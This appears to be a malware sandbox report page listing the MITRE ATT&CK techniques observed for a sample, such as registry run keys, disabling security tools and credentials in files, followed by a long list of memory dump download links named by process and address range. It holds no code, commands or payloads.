MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/8-173-0x00007FF612D70000-0x00007FF613D0E000-memory.dmp

Download

memory/532-201-0x0000000004A40000-0x0000000004A41000-memory.dmp

Download

memory/532-198-0x0000000000010000-0x0000000000018000-memory.dmp

Download

memory/532-200-0x000000007463E000-0x000000007463F000-memory.dmp

Download

memory/656-285-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/832-271-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1012-257-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1184-299-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1260-264-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1324-266-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/1356-170-0x000000007463E000-0x000000007463F000-memory.dmp

Download

memory/1356-169-0x0000000000A90000-0x0000000000A98000-memory.dmp

Download

memory/1356-171-0x0000000005460000-0x0000000005461000-memory.dmp

Download

memory/1556-292-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2056-185-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2056-183-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2124-218-0x00000000067F0000-0x0000000006F76000-memory.dmp

Download

memory/2124-220-0x00000000067A0000-0x00000000067C2000-memory.dmp

Download

memory/2124-217-0x00000000032C0000-0x00000000032C1000-memory.dmp

Download

memory/2124-250-0x00000000032C3000-0x00000000032C5000-memory.dmp

Download

memory/2124-204-0x0000000000EB0000-0x0000000000EBA000-memory.dmp

Download

memory/2124-213-0x0000000005FB0000-0x0000000006060000-memory.dmp

Download

memory/2124-216-0x000000007463E000-0x000000007463F000-memory.dmp

Download

memory/2124-208-0x0000000005DC0000-0x0000000005DF8000-memory.dmp

Download

memory/2220-228-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2360-139-0x000000000019F000-0x00000000001A0000-memory.dmp

Download

memory/2360-131-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

Download

memory/2360-136-0x0000000000400000-0x00000000008F8000-memory.dmp

Download

memory/2360-135-0x0000000002790000-0x0000000002791000-memory.dmp

Download

memory/2360-134-0x0000000002780000-0x0000000002781000-memory.dmp

Download

memory/2360-137-0x0000000000448000-0x00000000006CD000-memory.dmp

Download

memory/2360-132-0x0000000002760000-0x0000000002761000-memory.dmp

Download

memory/2360-130-0x0000000000A90000-0x0000000000A91000-memory.dmp

Download

memory/2360-133-0x0000000002770000-0x0000000002771000-memory.dmp

Download

memory/2432-252-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/2432-195-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2792-235-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2816-184-0x0000000005000000-0x0000000005001000-memory.dmp

Download

memory/2816-193-0x0000000007C60000-0x0000000007C72000-memory.dmp

Download

memory/2816-192-0x0000000002B60000-0x0000000002B6A000-memory.dmp

Download

memory/2816-165-0x0000000000820000-0x0000000000828000-memory.dmp

Download

memory/2884-188-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/3016-273-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/3088-223-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/3340-259-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/3412-237-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/3436-244-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/3496-179-0x00000000007E0000-0x00000000007E8000-memory.dmp

Download

memory/3496-278-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3500-230-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download

memory/3588-249-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3608-182-0x0000000140000000-0x0000000142B38000-memory.dmp

Download

memory/3796-150-0x0000000009E10000-0x0000000009E22000-memory.dmp

Download

memory/3796-156-0x000000000ABB0000-0x000000000AC26000-memory.dmp

Download

memory/3796-152-0x0000000009BC0000-0x0000000009BFC000-memory.dmp

Download

memory/3796-151-0x0000000009F40000-0x000000000A04A000-memory.dmp

Download

memory/3796-149-0x0000000009660000-0x0000000009661000-memory.dmp

Download

memory/3796-153-0x000000000AA00000-0x000000000AA66000-memory.dmp

Download

memory/3796-148-0x000000000A370000-0x000000000A988000-memory.dmp

Download

memory/3796-154-0x000000000CD40000-0x000000000D2E4000-memory.dmp

Download

memory/3796-146-0x000000007463E000-0x000000007463F000-memory.dmp

Download

memory/3796-157-0x000000000AC90000-0x000000000ACAE000-memory.dmp

Download

memory/3796-138-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/3796-155-0x000000000AB10000-0x000000000ABA2000-memory.dmp

Download

memory/3796-158-0x000000000DB60000-0x000000000DBB0000-memory.dmp

Download

memory/3796-161-0x0000000009661000-0x0000000009662000-memory.dmp

Download

memory/3796-160-0x000000000E580000-0x000000000EAAC000-memory.dmp

Download

memory/3796-159-0x000000000DE80000-0x000000000E042000-memory.dmp

Download

memory/3936-242-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4052-280-0x00007FF778800000-0x00007FF77979E000-memory.dmp

Download